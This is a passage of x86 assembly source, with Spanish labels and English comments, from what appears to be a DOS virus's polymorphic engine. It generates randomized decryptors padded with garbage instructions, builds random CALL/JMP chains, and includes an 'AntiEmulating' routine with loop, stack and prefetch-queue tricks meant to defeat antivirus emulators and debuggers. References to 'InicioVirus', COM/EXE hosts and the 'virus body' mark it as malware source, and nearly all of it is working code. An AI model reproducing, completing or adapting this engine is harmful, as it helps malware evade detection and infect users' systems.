STOSW ; Store it
RET ; Return
;;; 1 byte instruction
@@Instruccion1byte:
CMP BYTE PTR [DI-01], 66h ; If 32 bit opcode, eliminate it
JNZ @@DHHDS
DEC DI
@@DHHDS: CALL Aleatorio ; Get a random word
TEST AL, 0C0h ; Zero Flag with 25% of probability
JZ @@INCDEC ; If Zero Flag, jump here
@@DeTodo: MOV BH, 08h ;Number of garbage one-byte instructions
OR CL, CL ; Are we going to use AX for garbage?
JNZ @@Salxto01 ; If not, avoid next instruction
ADD BH, 08h ; Add quantity of one-byte instruction
; that use AX
@@Salxto01: AND AX, 007Fh ; Get a random number between 0 and 7Fh
DIV BH ; Get a random number between 0 and BH
MOV AL, AH ; Put it on AL
MOV BX, Offset BasuraNoBanderas - 200h ; Get the random
XLAT ; instruction
STOSB ; Store it
RET ; Return
;; Construct a INC or a DEC instruction
@@INCDEC: AND AL, 08h ; Get random 0 or 8
ADD AL, CL ; Set register
ADD AL, 40h ; Convert to INC/DEC
STOSB ; Store it
@@Salir: RET ; Return
;; Construct a JMP (non-zero displacement random unconditional jump with gar-
;; bage) or a CALL routine.
@@SaltoAleatorio:
CMP BYTE PTR [PrimerByte-200h], 0 ; If first instruction
JZ @@Salir ; on the decryptor, exit
CMP BYTE PTR [EstoyDentro-200h], 01 ; If it is inside ano-
JZ @@Salir ; ther CALL, exit
MOV BYTE PTR [EstoyDentro-200h], 01 ;Put "I'm inside" flag
CALL Aleatorio
AND AL, 02 ; Get a random 0 or 2 in AL
ADD AL, 0E9h ; Construct a 8/16 bits opcode
STOSB ; Store it
CALL SioNo ; Aleatory zero flag
JZ @@CallAleatorio ; If zero flag, construct a CALL
MOV BL, AL ; Save AL on BL
@@KKKKSK: CALL Aleatorio ; Get an aleatory number between
AND AX, 0007h ; 1 and 7
JZ @@KKKKSK
CMP BL, 0E9h ; If 16 bit jump, store word
JZ @@Salhhh
STOSB ; If 8 bit jump, store byte
JMP @@Saliii
@@Salhhh: STOSW
@@Saliii: MOV CX, AX ; Put displacement in CX
@@Saljjj: CALL Aleatorio ; Insert CX random bytes
STOSB
LOOP @@Saljjj
RET ; Return
;; Construct a random CALL
@@CallAleatorio:
CMP BYTE PTR [NumeroCALLs-200h], 0 ; Check if a CALL was
; constructed before
JZ @@MMDKKC ; If not, jump and continue
CALL MiraSiPrimerDes ;Check if it is the second de-
; cryptor (in order of execu-
; tion)
JZ @@SaltaSigue ; If it is, jump and continue
; Here if it is the first decryptor
CMP BYTE PTR [LoopYaEsta-200h], 1 ; Was performed the de-
; cryption LOOP?
JNZ @@MMDKKC ; If not, jump
; Here to use a constructed CALL. They could be inter-decryptor CALLs.
@@SaltaSigue: PUSH AX ; Save AX
CALL Aleatorio ; Get Zero Flag with 1/4 of probability
AND AX, 0003h
POP AX
JNZ @@MMDKKC
DEC DI ; Eliminate JMP opcode
MOV AL, 0E8h ; Put CALL opcode
STOSB
LEA CX, [DI+02] ; Save after-CALL address in CX
PUSH BX ; Save BX
@@MMDKKC2: CALL Aleatorio
AND AX, 0007h ; Get a random AX between 0 and 7
CMP AL, [NumeroCALLs-200h] ; Check if it is greater than
;the number of constructed CALLs
JAE @@MMDKKC2 ; If it overpasses it or it's equal,
; get another number
ROL AX, 1 ; Multiply number by two
MOV BX, AX ; Get address of constructed CALL
ADD BX, Offset DirecCALLs-200h
MOV AX, [BX] ; Get CALL address in AX
SUB AX, CX ; Get displacement in AX
STOSW ; Store CALL displacement
POP BX ; Restore BX and return
RET
;; Here to generate a random CALL
@@MMDKKC: PUSH DI ; Save DI
TEST AL, 02h ; Check if JMP 8 bits or JMP 16 bits
MOV AL, 0
JNZ @@Salccc ; Jump if 8 bits
STOSB ; Store a byte with value 0
@@Salccc: STOSB ; " " " " " "
CMP BYTE PTR [NumeroCALLs-200h], 08h ; Check if the number
;of constructed CALLs is 8
JZ @@OtraVez32 ;If there are 8 constructed CALLs, jump
; and don't store its address
INC BYTE PTR [NumeroCALLs-200h] ; Increase number of CALLs
PUSH BX ; Save BX
XOR BH, BH ; Get the address where the address of
MOV BL, BYTE PTR [NumeroCALLs-200h] ; this CALL will be
DEC BX ; stored...
ROL BX, 1
ADD BX, Offset DirecCALLs-200h
MOV [BX], DI ; ...and store it.
POP BX ; Restore BX
@@OtraVez32: CALL Aleatorio ; Get a random AX between 1 and 3
AND AX, 0003
JZ @@OtraVez32
@@Loopccc: PUSH AX ; Save AX
MOV BX, DI
@@truus: PUSH BX
CALL HazBasuraAleatoria2 ; Generate a random instruction.
; "I'm inside" flag is set, so a CALL can't be
; generated
POP BX
CMP BX, DI
JZ @@truus
POP AX ; Restore AX
DEC AX ; Repeat AX times
JNZ @@Loopccc
@@Salddd: MOV AL, 0C3h ; Insert a "RET"
STOSB
POP SI ; Restore saved DI in SI
LEA AX, [SI+02] ; Load in AX the address where the displa-
; cement will be stored
CMP BYTE PTR [SI-01], 0E9h ;Check if it is a JMP of 16 bit
PUSHF ; Save flags
JZ @@Saleee ; If it is, jump
DEC AX ; Decrement AX to get the address for JMPs
; of 8 bits
@@Saleee: MOV CX, DI ; Get in CX the JMP displacement
SUB CX, AX
POPF ; Restore flags
JZ @@Salfff ; If it is a JMP of 16 bits, jump
MOV [SI], CL ; Save 8 bits displacement
JMP @@Salggg ; Continue
@@Salfff: MOV [SI], CX ; Save 16 bits displacement
INC SI
@@Salggg: INC SI ; Increase SI by 1 or 2 (depending on)
MOV AL, 0E8h ; Store CALL opcode
STOSB
MOV AX, SI ; Calculate address of calling
SUB AX, DI
DEC AX
DEC AX
STOSW ; Store it
RET ; Return
HazBasuraAleatoria2 ENDP
;; Procedure to insert a basic anti-emulating trick
AntiEmulating PROC
CALL Aleatorio ; Get a Zero Flag with a 1/8 of probability
AND AH, 07 ;If Zero Flag, return. This is made to avoid
JZ @@Retorna ; putting an anti-emulating routine always,
; and forcing to not have a "mark" of this
; engine in its decryptors.
AND AL, 03 ; Get a random 1 to 3
JZ AntiEmulating
CMP AL, [AntiEmulacion-200h] ;Check if this number of rou-
; tine was constructed before
JZ AntiEmulating ; If it was, get
another random number
MOV [AntiEmulacion-200h], AL ;Put the number in this field
CMP AL, 2 ; Check trick number
JB @@Truco01
JZ @@Truco03
;; This routine constructs an anti-emulating portion of code. This generates
;; a big LOOP that it is executed in miliseconds, but takes a lot of time with
;; emulation (counter register has a big value). This forces to emulators to
;; "think" that it's an endless LOOP here.
@@Truco02: MOV CL, 08h ; Get an usable-for-garbage register
CALL ObtenRegistro
MOV DL, AL ; Put it on DL
@@OtraVez01: CALL Aleatorio ; Get a random number between 2000h and
AND AH, 7Fh ; 7FFFh
CMP AH, 20h
JB @@OtraVez01
MOV CX, AX
PUSH DX
CALL Saslld ; Construct a MOV with the register DL
; and the value CX
POP DX
MOV SI, DI ;Get address where the LOOP begins in DX
MOV AL, DL ; Put a PUSH Selected-Register
CALL Siono
JZ @@OtroPUSH
MOV AX, 0F0FFh ; Word-opcode PUSH
ADD AH, DL
STOSW
JMP @@Continue01
@@OtroPUSH: ADD AL, 50h ; Byte-opcode PUSH
STOSB
@@Continue01: PUSH CX ; Save DX, CX and SI
PUSH DX
PUSH SI
CALL HazBasuraAleatoria
CALL HazBasuraAleatoria ;Construct a random set of instruc-
POP SI ;tions
POP DX
POP CX ; Restore DX, CX and SI
MOV AL, DL ; Put a POP Selected-Register
CALL Siono
JNZ @@OtroPOP
MOV AX, 0C08Fh ; Word-opcode POP
ADD AH, DL
STOSW
JMP @@Continue02
@@OtroPOP: ADD AL, 58h ; Byte-opcode POP
STOSB
@@Continue02: CALL Siono
JZ @@OtroDEC
MOV AL, 48h ; Put a "DEC Selected-Register"
ADD AL, DL
STOSB
JMP @@Continue04
@@OtroDEC: MOV AX, 0C8FFh ; Word-opcode DEC
ADD AH, DL
STOSW
@@Continue04: CALL HazBasuraSinBanderas ; Construct instructions that
; don't modify checking flags
XOR CH, CH
CALL SioNo
SETNE CL
JZ @@OtroSalto
MOV AL, 75h ; Put a JNZ instruction to the beginning
STOSB ; of the LOOP
MOV AX, DI ; Calculate and store displacement
INC AX
@@Continue03: XCHG SI, AX
SUB AX, SI
JCXZ @@AntRetorna2
STOSB
RET
@@AntRetorna2: STOSW
@@Retorna: RET ; Return
@@OtroSalto: MOV AX, 850Fh ; Put a 16 bits JNZ instruction
STOSW
LEA AX, [DI+2]
JMP @@Continue03
;; Another type of anti-emulating. This time is anti-debugging too. It pushes
;; a value and pops it, and then subtracts 2 to the stack pointer and pops the
;; value again in another register. If the registers are different, it jumps
;; to a random address, to fuck it :)
@@Truco03: CALL Aleatorio ; Get a random word in AX
AND AL, 07h ; Get a random register
CMP AL, 04h ; SP?
JZ @@Truco03 ; Then, repeat
PUSH AX ; Save register
CALL SioNo ; Aleatory Zero Flag
JZ @@JumpP001 ; If Zero Flag, put a word-opcode PUSH
ADD AL, 50h ; Convert to PUSH
STOSB ; Store it
JMP @@Continue100
@@JumpP001: ADD AL, 0F0h ; Convert to PUSH
CBW
XCHG AH, AL
STOSW ; Store it
@@Continue100: CALL HazBasuraAleatoria ; Do garbage
POP AX ; Restore register
PUSH AX
CALL SioNo
JZ @@PonPOP2
ADD AL, 58h ; Convert to POP
STOSB ; Store it
JMP @@Continue101 ; Continue
@@PonPOP2: MOV AH, 8Fh
XCHG AH, AL
ADD AH, 0C0h
STOSW
@@Continue101: CALL Aleatorio ; Get a random word in AX
AND AL, 03h ; Get a manner of subtracting 2 to SP
JZ @@PonSUB02 ; If AL=0, do "SUB SP,0002"
CMP AL, 02
JB @@PonDECDEC ; If AL=1, do "DEC SP/DEC SP"
JZ @@PonADDFE ; If AL=2, do "ADD SP,FFFE"
;; Do "ADD SP,-02"
@@PonADDFE2: MOV AL, 83h ; Opcode of signed 16 bits operation re-
; duced to byte
STOSB ; Store it
MOV AX, 0FEC4h ; Store "ADD SP,-02"
STOSW
JMP @@Sigue ; Jump and continue
;; Do "SUB SP,0002"
@@PonSUB02: MOV AX, 0EC81h ; Construct opcode for "SUB SP,xxxx"
STOSW ; Store it
MOV AX, 0002 ; Put value for subtract
STOSW ; Store it
JMP @@Sigue ; Jump and continue
;; Do "DEC SP/DEC SP"
@@PonDECDEC: MOV AX, 4C4Ch ; Store "DEC SP" twice
STOSW
JMP @@Sigue ; Jump and continue
;; Do "ADD SP,FFFE"
@@PonADDFE: MOV AX, 0C481h ; Construct "ADD SP,xxxx"
STOSW ; Store it
MOV AX, 0FFFEh ; Put value for add
STOSW ; Store it
@@Sigue: MOV CL, 08h ; Get a usable-for-garbage register
CALL ObtenRegistro
CMP AL, DL
JZ @@Sigue
MOV CL, AL ; Put it in CL
POP DX ; Get the saved register from stack
MOV AL, 58h ; Put a POP Garbage-Register
ADD AL, CL
STOSB
CALL SioNo ; Random Zero Flag
JZ @@PonCMP ; If Zero Flag, do "CMP"
;; Do a "SUB Reg,Reg"
@@PonSUB: MOV AL, 2Bh ; Put "SUB" opcode in AL
JMP @@Sigue3 ; Jump and continue
@@PonCMP: MOV AL, 3Bh ; Put "CMP" opcode in AL
CALL SioNo ; Random Zero Flag
JZ @@Sigue2 ; If Zero Flag, jump
@@Sigue3: XCHG DL, CL ;Exchange registers (it is the same for
; "CMP")
@@Sigue2: ROL DL, 3 ; Put register on bits 3,4,5
MOV AH, 0C0h ; Activate register operation
OR AH, DL ; Mix register with AH
OR AH, CL ; Mix register to form an opcode
STOSW ; Store instruction
CALL HazBasuraSinBanderas ; Do garbage that doesn't affect
; to comparement flags
CALL Siono ; JZ or JNZ?
SETE CL ; Set CL to 1 to do "JZ"
CALL SioNo ; jump 8 bits or jump 16 bits?
JZ @@SaltoGordo
MOV AL, 75h ; AL=opcode of "JNZ"
SUB AL, CL ; Make "JZ" if CL=1
STOSB ; Store this instruction
OR CL, CL
JZ @@DoRandomDispl
@@OtraVez19: CALL Aleatorio
AND AX, 07h
JZ @@OtraVez19
STOSB
JMP @@AJAJAJA
@@DoRandomDispl:
CALL Aleatorio
STOSB
RET ; Return
@@SaltoGordo: MOV AX, 850Fh
SUB AH, CL
STOSW
OR CL, CL
JZ @@Sigueiii
@@OtraVez20: CALL Aleatorio
AND AX, 0007
JZ @@OtraVez20
STOSW
@@AJAJAJA: MOV CX, AX
@@JAJAJAJ: CALL Aleatorio
STOSB
LOOP @@JAJAJAJ
RET
@@Sigueiii: CALL Aleatorio
STOSW
RET
;; Another type. It just plays with the prefetch queue.
@@Truco01: CMP BYTE PTR [NoBasura-200h], 1 ; If there isn't garbage,
JZ AntiEmulating ; this won't go well, so
; put another trick
CMP BYTE PTR [TipoEjec-200h], 1 ; If it's an EXE, store
JZ @@EsunEXE ; "CS:"
@@EsunCOM: CALL Aleatorio ; Get a random segment for
AND AL, 18h ; a COM and store it
ADD AL, 26h
DB 3Dh
@@EsunEXE: MOV AL, 2Eh ; Store "CS:"
STOSB
CALL SioNo ; Random Zero Flag
JZ @@Directo ; If Zero Flag, jump
;; Write a registre
@@PorRegistro: CALL Aleatorio ; Get a random opcode
AND AL, 39h
MOV AH, 06h ; Put it as memory direct address
; write
STOSW ; Store the opcode
MOV SI, DI ; Save DI in SI
STOSW ; Add 2 to DI
JMP @@PonDireccion ; Jump
@@Directo: CALL Aleatorio ; Get a random 80h-opcode ins-
AND AL, 3 ; truction (80h to 83h)
ADD AL, 80h
MOV DL, AL
AND AH, 38h
ADD AH, 6 ; Direct address to memory write
STOSW ; Store opcode
MOV SI, DI ; Save DI in SI
STOSW ; Add 2 to DI
CALL Aleatorio ; Get a random in AX
CMP DL, 81h ; Check if opcode is 81h
JNZ @@MeteByteX ; If not, put a byte
@@MeteWordX: STOSW ; Put a word, please :)
DB 3Ch
@@MeteByteX: STOSB ; Put a byte
@@PonDireccion: LEA AX, [DI+DededeMerde] ; Get the address of writing
ADD AX, [InicioVirus-200h+1+16h] ; Add delta-offset
MOV [SI], AX ; Put this in [SI]
MOV SI, DI ; Save DI to SI
@@OtraVez_2: PUSH SI ; Save SI
CALL HazBasuraAleatoria ; Do garbage
POP SI ; Restore SI
CMP SI, DI ; Check if DI remains equal
JZ @@OtraVez_2 ; If no garbage was inserted, try
; again
RET ; Return
AntiEmulating ENDP
;; Code to generate a call to a do-nothing function of an interrupt (it only
;; works constructiong the second decryptor - the first in order of creation)
PonInt PROC
CALL MiraSiPrimerDes ; Is it the second decryptor?
JNZ @@Salir ; If it isn't, exit
CALL Aleatorio ; Get a random AX
TEST AL, 0C0h ;Get Zero Flag with 1/4 of probability
JNZ @@Salir ; If not Zero Flag, exit
@@KKAS2: CALL Aleatorio
AND AX, 001Eh ; Get a random even AX between 0 and
; 18h
JZ @@Pollas ; If AX=0, get a random function
CMP AL, 18h
JA @@KKAS2
MOV SI, Offset FuncInterrup - 200h ;Put address where
; functions and interrupts are stored in SI
ADD SI, AX ; Add AX to SI to get one of the stored
; functions and interrupts
MOV AH, [SI] ; Get first byte in AH
@@KKAS: MOV AL, 0B4h ; Construct "MOV AH,xx"
STOSW ; Store instruction
MOV AL, 0CDh ; Construct "INT xx"
MOV AH, [SI+01] ; Get interrupt number in AH
STOSW ; Store instruction
@@Salir: RET ; Return
@@Pollas: CALL Aleatorio ; Get a random word in AX
JMP @@KKAS ; Jump and continue
PonInt ENDP
;; Procedure to put the instruction that sets value to the counter register
PonContador PROC
MOV CX, [TamanyoContador-200h] ; Get counter in CX
MOV DL, [RegistroContador-200h] ; Get register counter in
; DL
CMP DL, 4
JNZ @@Sigue
CALL PonStack
JMP HazBasuraAleatoria
@@Sigue: TEST BP, 0080h ;Check if byte counter or word counter
JNZ @@ByteCont ; If byte counter, jump
SHR CX, 1 ; Convert to word counter
@@ByteCont: TEST BP, 0001h ; Do we increase or decrease the
; counter in every loop of the decryp-
; tor?
JZ @@RestaCont ; If we decrement it every loop, jump
NEG CX ;Get the inverse of CX to get an equal
;count fowards, instead of backwards
@@RestaCont: CALL PonInstrucMOV ; Put a setting-value instruction
RET ; Return
PonContador ENDP
;; Procedure to put the instruction that sets value to the index register
PonIndice PROC
MOV CX, [InicioVirus-200h+1+16h] ; Get initial address of
; virus in file in CX
MOV DL, [RegistroIndice-200h] ; Get register in DL
TEST BP, 0002 ; Do we add a word to the in-
; dex?
JZ @@Salto ; If not, jump
CALL Aleatorio ; get a random word
SUB CX, AX ; Subtract it from the initial address
MOV [SumaIndice-200h], AX ; Save it here
JMP @@Salto2 ; Continue
@@Salto: MOV WORD PTR [SumaIndice-200h],0 ;Put 0 in the add-to-in-
; dex field
@@Salto2: ; CMP BYTE PTR [TipoDeDesencriptador-200h], 1
; JZ @@CosaRara
CALL PonInstrucMOV ; Put the setting-value instruction
RET ; Return
;@@CosaRara: XOR AX, AX
; XCHG AX, [LongDesencrip-200h]
; PUSH AX
; CALL PonInstrucMOV
; POP [LongDesencrip-200h]
; RET
PonIndice ENDP
;; Procedure to put the instruction that sets value to the key register for
;; decryption
PonEncriptador PROC
TEST BP, 0100h ; Do we decrypt using a key register?
JZ @@Salto1 ; If we don't, jump
@@OtraVez: CALL Aleatorio ; Get a random word in AX
OR AL, AL ; If the low byte is 0, repeat getting
JZ @@OtraVez
OR AH, AH ; If the high byte is 0, repeat
JZ @@OtraVez
MOV CX, AX ; Put it in CX
MOV DL, [RegistroEncriptado-200h] ; Get key register in DL
MOV [WordEncriptado-200h], AX ; Save key here
CALL PonInstrucMOV ; Put assignment in decryptor
RET ; return
@@Salto1: CALL Aleatorio ; Get a random word in AX
CALL PonStack ;Insert a stack instruction (if we're
;going to use RET, RETF or any of them
;to jump to virus body or next decryp-
;tor
MOV [WordEncriptado-200h], AX ; Save decrypt key
RET ; Return
PonEncriptador ENDP
;;; Initial execution values in a COM and in an EXE. This is used to construct
;;; assignments with XOR, SUB, etc. and to put indexed memory writes without
;;; danger
;;; For COM:
InicValoresCOM DW 0 ; AX
DW 00FFh ; CX
DW 0 ; DX
DW 0 ; BX
DW 0FFFEh ; SP
DW 091Ch ; BP
DW 0100h ; SI
DW 0FFFEh ; DI
;;; For EXE:
InicValoresEXE DW 0 ; AX
DW 00FFh ; CX
DW 0 ; DX
DW 0 ; BX
DW 0 ; SP
DW 091Ch ; BP
DW 200h ; SI
DW 0 ; DI
;; This stores an assignment instruction. The value to assign is passed in CX
;; and the register in DL. the procedure can construct MOVs (two different ty-
;; pes of opcode), LEA or PUSH Value/POP Reg. Moreover, in the first decryptor
;; the values can be set by XOR, ADD or SUB, too.
PonInstrucMOV PROC
CALL HazBasuraAleatoria ; Do garbage
CALL PonStack ; Put stack instruction, if there's
; any to put
CALL MiraSiPrimerDes ; First decryptor?
JZ Saslld ; If not, jump
@@KK: CALL Aleatorio ;Get a Zero Flag with 1/4 of proba-
AND AL, 03 ; bility
JZ Saslld ; If Zero Flag, jump to do normal
; things :)
MOVZX BX, DL ; Put the register in BL
ROL BX, 1 ; Multiply by 2 and get the address
ADD BX, Offset InicValoresCOM-200h ;where the value of the
CMP BYTE PTR [TipoEjec-200h], 0 ; register initially (for
JZ @@Otros ; COM or EXE) is stored.
ADD BX, 0010h
@@Otros: CMP DL, 02 ; Check if register is DX (it will
; contain the PSP segment)
JZ Saslld ; If it is, it has no known value,
; so skip its use
CMP DL, 05 ; BP = 091Ch in DOS based systems,
JZ Saslld ; BP = 0912h in Win95 DOS systems
; It has no exact value, so skip
MOV BX, [BX] ; Get in BX the corresponding value
CMP AL, 02 ; AL was between 1 and 3
JB @@PonXOR ; If 1, do XOR
JZ @@PonADD ; If 2, do ADD
; If 3, do SUB
@@PonSUB: SUB BX, CX ; Subtract value to assign to initial
; value
MOV AX, 0E881h ; Store "SUB"
@@Sigue: OR AH, DL ; Set register in opcode
STOSW ; Store instruction
MOV AX, BX ; Store got value
STOSW
RET ; Return
@@PonXOR: XOR BX, CX ; Calculate assignment for XOR
MOV AX, 0F081h ; Store "XOR"
JMP @@Sigue ; Jump
@@PonADD: XCHG BX, CX ; Calculate assignment for ADD
SUB BX, CX
MOV AX, 0C081h ; Store "ADD"
JMP @@Sigue ; Jump
;; Normal assignment (no weird anti-debugger/emulating assignments)
Saslld: CALL Aleatorio ; Get a random AX
AND AL, 03 ; Get AL between 1 and 3
JZ Saslld
CMP AL, 02
JB @@PonLea ; If 1, construct a LEA
JZ @@PonMOV ; If 2, construct a MOV
; Construct a PUSH/POP
@@PonPUSH: MOV AL, 68h ; Store a direct value pushing opcode
STOSB
MOV AX, CX ; Store value to assign
STOSW
CALL HazBasuraAleatoria ; Do garbage
CALL SioNo ; Random Zero Flag
JZ @@Saslld2 ; If Zero Flag, use type I of PUSH opc.
MOV AH, DL ; Construct a two-byte POP opcode
OR AH, 0C0h
MOV AL, 8Fh
STOSW ; Insert it
RET ; return
@@Saslld2: MOV AL, DL ; Construct a one-byte POP opcode
OR AL, 58h
STOSB ; Store it
RET ; Return
; Construct a MOV
@@PonMOV: CALL SioNo ; Random Zero Flag
JZ @@PonMOV2 ; If Zero Flag, do another type of MOV
MOV AL, DL ; Put register in AL
OR AL, 0B8h ; Convert it to MOV
STOSB ; Store it
JMP @@Salto ; Jump
@@PonMOV2: MOV AL, 0C7h ; MOV opcode
MOV AH, 0C0h ; Set register on
OR AH, DL ; Put register on data opcode
STOSW ; Store it
@@Salto: MOV AX, CX ; Store word for assignment
STOSW
RET ; return
; construct a LEA
@@PonLEA: ROL DL, 3 ;Adapt register to bit fields in opcode
OR DL, 6 ; Set "direct memory address" on
MOV AL, 8Dh ; LEA opcode
MOV AH, DL ; Put converted DL like data opcode
STOSW ; Store it
JMP @@Salto ; Store assignment value
PonInstrucMOV ENDP
;; A very used procedure to generate a random Zero Flag
SioNo PROC
PUSH AX ; Save AX
CALL Aleatorio ; Get a random word in AX
AND AL, 01 ; Check if even (Zero Flag) or odd (Non-
; Zero Flag)
POP AX ; Restore AX
RET ; return with flag set on or off
SioNo ENDP
;; Routine to construct the decrypt instruction
HazEncriptador PROC
MOV AX, BP ; Get in AL the decryption operation
AND AL, 18h
ROR AL, 3
MOV BX, Offset OpcodesCriptado - 200h
XLAT ; Then, AL must be 31h, 01h or 29h (XOR,
; ADD or SUB)
TEST BP, 0100h ; Check if the key is in a register
JZ @@NoEncripREG ; If not, jump
;; Construct a decrypt instruction that uses a register to decrypt, for exam-
;; ple XOR [BX+75D4],AX
@@EncripREG: MOV DL, [RegistroEncriptado-200h] ; Get key register in DL
TEST BP, 0080h ;Check if decrypt must be done byte-to-byte
;or word-to-word
JZ @@Salto001 ; If word-to-word, jump
CMP DL, 04 ; Is the key register a ?X type register?
JB @@Salto002 ; If it is, continue
AND BP, 0FEFFh ;If not, set "decrypt by register" off and
JMP @@NoEncripREG ;decrypt by direct value
@@Salto002: DEC AL ; Decrement opcode to get byte decryption
TEST BP, 0200h ; Are we going to use the high byte or the
; low byte of the register?
JZ @@Salto001 ; If we're going to use the low byte, jump
OR DL, 04h ; Convert register to ?H
@@Salto001: STOSB ; Store opcode
ROL DL, 3 ; Adapt register to bit field on opcode
MOV BX, Offset TablaIndices - 200h ;Get the value to cons-
MOV AL, [RegistroIndice-200h] ; truct the second opcode
XLAT ; (the data opcode) using in
; AL the index register
OR AL, DL ; Put register in opcode
TEST BP, 0002 ; Check if a word must be added to index
JZ @@Salto003 ; If not, jump
AND AL, 3Fh ; Set word adding to index on
OR AL, 80h
STOSB ; Store opcode
MOV AX, [SumaIndice-200h] ; Get word to add to index
STOSW ; Store it
RET ; return
@@Salto003: CMP BYTE PTR [RegistroIndice-200h], 05h ; Check if index
JNZ @@Salto004 ; Register is BP. If not, jump
STOSB ; Store opcode
XOR AL, AL ; Store an adding byte
@@Salto004: STOSB ; Store opcode/adding byte with value 0
RET ; Return
; Construct a decrypt instruction with direct use of a value (not a register),
; for example XOR WORD PTR [BX],435B
@@NoEncripREG: DEC AL ; Eliminate last bit (it was set on)
MOV AH, AL ; Put the opcode in AH
MOV AL, 80h ; Put opcode 80h in AL
TEST BP, 0080h ; Check if it's byte or word decryption
JNZ @@Salto010 ; If byte, jump
INC AL ; Convert to word opcode
@@Salto010: STOSB ; Store 80h or 81h (depending on)
MOV BX, Offset TablaIndices - 200h ;Get value of the index
MOV AL, [RegistroIndice-200h] ; register for the opcode
XLAT
OR AL, AH ; Set it in the data opcode
TEST BP, 0002 ; Check if a word will be added to index
JNZ @@Salto011 ; If it will be, jump
CMP BYTE PTR [RegistroIndice-200h], 05 ; Check if index is
; BP
JZ @@Salto012 ; If it is, jump
STOSB ; Store data opcode and continue
JMP @@Sigue
@@Salto012: STOSB ; Store data opcode
XOR AL, AL ; Store byte to add (with value 0)
STOSB
JMP @@Sigue ; Continue
@@Salto011: AND AL, 3Fh ; Set "add word to index" on
OR AL, 80h
STOSB ; Store this second opcode
MOV AX, [SumaIndice-200h] ; Get word to be added in AX
STOSW ; Store it
@@Sigue: MOV AX, [WordEncriptado-200h] ; Get decryption key in AX
TEST BP, 0080h ; Decrypt by byte or word?
JNZ @@EncripByte ; If byte-to-byte decryption, jump
STOSW ; Store key word
RET ; Return
@@EncripByte: STOSB ; Store key byte
RET ; Return
HazEncriptador ENDP
;; Procedure to add a set of instructions that modifies the counter one up or
;; one down, depending on flags in BP
ModificaContador PROC
MOV DL, [RegistroContador-200h] ;Get counter register in
CMP DL, 4 ;DL. If it's 4, do garbage
JZ HazBasuraAleatoria
TEST BP, 0001 ;Check if counter is going fowards
;or backwards
JZ @@Resta ;If it goes backwards, then jump
@@Suma: CALL Aleatorio ; Get a random byte between 0 and 7
AND AL, 07h ; in AL
JZ PonINCbyte ; If 0, put "INC Counter"
CMP AL, 02
JB PonADDbyte ; If 1, put "ADD Counter,1"
JZ PonADDSUBbyte ; If 2, put "ADD C.,xxx/SUB C.,yyy"
CMP AL, 04
JB PonSUBADDbyte ; If 3, put "SUB C.,xxx/ADD C.,yyy"
JZ PonSUBbyte ; If 4, put "SUB Counter,-1"
CMP AL, 06
JB PonNOTNEG ;If 5, put "NOT Counter/NEG Counter"
JZ @@PonSUBDECbyte ;If 6, put "SUB C.,-2/DEC Counter"
; Put "DEC Counter/ADD Counter,2"
@@PonDECADDbyte: CALL PonDEC ; Store a DEC instruction
CALL HazBasuraAleatoria ; Do garbage
MOV DH, 02 ; Insert "ADD Counter,2" (value to
CALL PonADD ; add in DH)
RET ; Return
; Put "SUB Counter,-2/DEC Counter"
@@PonSUBDECbyte: MOV DH, 0FEh ; Insert a "SUB Counter,-2"
CALL PonSUB
CALL HazBasuraAleatoria ; Do garbage
CALL PonDEC ; Insert a "DEC Counter"
RET ; Return
;; Here if register is decreased instead of increased
@@Resta: CMP BYTE PTR [NoPongasLOOP-200h], 1
JZ @@Siggig1
CMP DL, 01 ; Check if counter register is CX
JNZ @@Siggig1 ; If it isn't, jump
TEST BP, 6000h ; Check if we are going to use any of
; the LOOP instructions or not
JZ @@Siggig1 ; If not, continue
RET ;Return (don't insert any counter ope-
;ration)
@@Siggig1: CALL Aleatorio ;Get a random byte in AL between 0 and 7
AND AL, 07
JZ @@PonDECbyte ; If 0, put "DEC Counter"
CMP AL, 02
JB @@PonADDbyte2 ; If 1, put "ADD Counter, -1"
JZ PonSUBADDbyte2 ; If 2, put "SUB C.,xxx/ADD C.,yyy"
CMP AL, 04
JB PonADDSUBbyte2 ; If 3, put "ADD C.,xxx/SUB C.,yyy"
JZ PonSUBbyte2 ; If 4, put "SUB Counter,1"
CMP AL, 06
JB @@PonNEGNOT ; If 5, put "NEG Counter/NOT Counter"
JZ @@PonADDADD ; If 6, put "ADD C.,xxx/ADD C.,yyy"
; Put "ADD C.,xxx/ADD C.,yyy"
@@PonSUBSUB: MOV AX, 0E881h ; Get SUB instruction
OR AH, DL ; Put register on opcode
STOSW ; Store opcode
XCHG AX, CX ; Save AX in CX (this is the opcode)
@@KKEC: CALL Aleatorio ; Get a random byte in AX
OR AX, AX ; If it's 0, repeat
JZ @@KKEC
STOSW ; Store it
CALL HazBasuraAleatoria ; Do garbage
XCHG AX, CX ; Put the last opcode in AX
STOSW ; Insert it
XCHG AX, CX ; Get the subtracted value
NEG AX ; Negate and increase to get a pair of
INC AX ; SUBs which decrements the counter at
STOSW ; last. Of course, insert this value
RET ; Return
; Put "ADD C.,xxx/ADD C.,xxx"
@@PonADDADD: MOV AX, 0C081h ; "ADD" opcode
OR AH, DL ; Add register
STOSW ; Store opcode
XCHG AX, CX ; Save opcode in CX
@@KKEC2: CALL Aleatorio ; Get a random value in AX
OR AX, AX ; If it is 0, repeat
JZ @@KKEC2
STOSW ; Store this value
CALL HazBasuraAleatoria ; Do garbage
XCHG AX, CX ; Recover opcode
STOSW ; Insert it again
XCHG AX, CX ; Calculate value to subtract at last
NOT AX ; one to counter (with 2 adds)
STOSW ; Complete this instruction with this
RET ; value and return
; Construct "DEC Counter"
@@PonDECbyte: CALL PonDEC ; Put a "DEC"
RET ; Return
; Construct "ADD Counter,-1"
@@PonADDbyte2: MOV DH, 0FFh ; Construct this instruction with a -1
CALL PonADD ; to add to counter
RET ; Return
; Construct "SUB C.,xxx/ADD C.,yyy"
PonSUBADDbyte2: CALL Aleatorio ; Get a random byte between 0 and 7Eh
AND AL, 7Fh ; in AL
CMP AL, 7Fh
JZ PonSUBADDbyte2
MOV DH, AL ; Insert a "SUB Counter,<AL Value>"
CALL PonSUB
CALL HazBasuraAleatoria ; Do garbage
DEC DH ; Insert a "ADD Counter,<AL Value>-1"
CALL PonADD
RET ; Return
; Construct "ADD C.,xxx/SUB C.,yyy"
PonADDSUBbyte2: CALL Aleatorio ; Get a random in AX
AND AL, 7Fh ; Get a number between 0 and 7Eh
CMP AL, 7Fh
JZ PonADDSUBbyte2
MOV DH, AL ; Insert an "ADD Counter,<AL Value>"
CALL PonADD
CALL HazBasuraAleatoria ; Do garbage
INC DH ; Insert a "SUB Counter,<AL Value>+1"
